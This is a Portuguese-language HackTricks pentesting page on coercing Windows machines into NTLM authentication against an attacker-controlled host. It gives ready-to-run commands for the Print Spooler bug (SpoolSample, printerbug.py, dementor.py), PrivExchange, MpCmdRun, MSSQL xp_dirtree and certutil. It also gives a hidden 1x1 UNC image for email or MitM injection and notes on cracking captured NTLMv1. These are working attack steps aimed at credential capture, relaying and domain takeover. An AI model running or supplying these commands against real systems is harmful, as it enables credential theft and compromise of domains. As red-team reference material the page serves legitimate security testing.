7.7 KiB
Forçar Autenticação Privilegiada NTLM
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
SharpSystemTriggers
SharpSystemTriggers é uma coleção de gatilhos de autenticação remota codificados em C# usando o compilador MIDL para evitar dependências de terceiros.
Abuso do Serviço de Spooler
Se o Serviço de Spooler de Impressão estiver ativado, você pode usar algumas credenciais AD já conhecidas para solicitar ao servidor de impressão do Controlador de Domínio uma atualização sobre novos trabalhos de impressão e apenas dizer para enviar a notificação para algum sistema.
Observe que, quando a impressora envia a notificação para sistemas arbitrários, ela precisa se autenticar contra esse sistema. Portanto, um atacante pode fazer o Serviço de Spooler de Impressão se autenticar contra um sistema arbitrário, e o serviço usará a conta do computador nessa autenticação.
Encontrando Servidores Windows no domínio
Usando PowerShell, obtenha uma lista de máquinas Windows. Servidores geralmente têm prioridade, então vamos focar lá:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
Encontrando serviços de Spooler escutando
Usando uma versão ligeiramente modificada do @mysmartlogin (Vincent Le Toux) SpoolerScanner, veja se o Serviço de Spooler está escutando:
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
Você também pode usar rpcdump.py no Linux e procurar pelo Protocolo MS-RPRN
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
Peça ao serviço para autenticar contra um host arbitrário
Você pode compilar SpoolSample daqui.
SpoolSample.exe <TARGET> <RESPONDERIP>
ou use 3xocyte's dementor.py ou printerbug.py se você estiver no Linux
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
Combinando com Delegação Inconstrangida
Se um atacante já comprometeu um computador com Delegação Inconstrangida, o atacante poderia fazer a impressora se autenticar contra este computador. Devido à delegação inconstrangida, o TGT da conta de computador da impressora será salvo na memória do computador com delegação inconstrangida. Como o atacante já comprometeu este host, ele será capaz de recuperar este ticket e abusar dele (Pass the Ticket).
Autenticação Forçada RCP
{% embed url="https://github.com/p0dalirius/Coercer" %}
PrivExchange
O ataque PrivExchange
é resultado de uma falha encontrada na funcionalidade PushSubscription
do Exchange Server. Esta funcionalidade permite que o servidor Exchange seja forçado por qualquer usuário de domínio com uma caixa de correio a se autenticar em qualquer host fornecido pelo cliente via HTTP.
Por padrão, o serviço Exchange é executado como SYSTEM e recebe privilégios excessivos (especificamente, possui privilégios WriteDacl na atualização cumulativa do domínio anterior a 2019). Esta falha pode ser explorada para habilitar o encaminhamento de informações para LDAP e, subsequentemente, extrair o banco de dados NTDS do domínio. Em casos onde o encaminhamento para LDAP não é possível, esta falha ainda pode ser usada para encaminhar e autenticar em outros hosts dentro do domínio. A exploração bem-sucedida deste ataque concede acesso imediato ao Admin do Domínio com qualquer conta de usuário autenticada do domínio.
Dentro do Windows
Se você já estiver dentro da máquina Windows, pode forçar o Windows a se conectar a um servidor usando contas privilegiadas com:
Defender MpCmdRun
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
MSSQL
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
Ou use esta outra técnica: https://github.com/p0dalirius/MSSQL-Analysis-Coerce
Certutil
É possível usar certutil.exe lolbin (binário assinado pela Microsoft) para forçar a autenticação NTLM:
certutil.exe -syncwithWU \\127.0.0.1\share
HTML injection
Via email
Se você souber o endereço de e-mail do usuário que faz login em uma máquina que você deseja comprometer, você pode simplesmente enviar a ele um e-mail com uma imagem 1x1 como
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
e quando ele o abrir, ele tentará se autenticar.
MitM
Se você puder realizar um ataque MitM a um computador e injetar HTML em uma página que ele visualizar, você pode tentar injetar uma imagem como a seguinte na página:
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
Quebrando NTLMv1
Se você conseguir capturar desafios NTLMv1 leia aqui como quebrá-los.
Lembre-se de que, para quebrar o NTLMv1, você precisa definir o desafio do Responder como "1122334455667788"
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.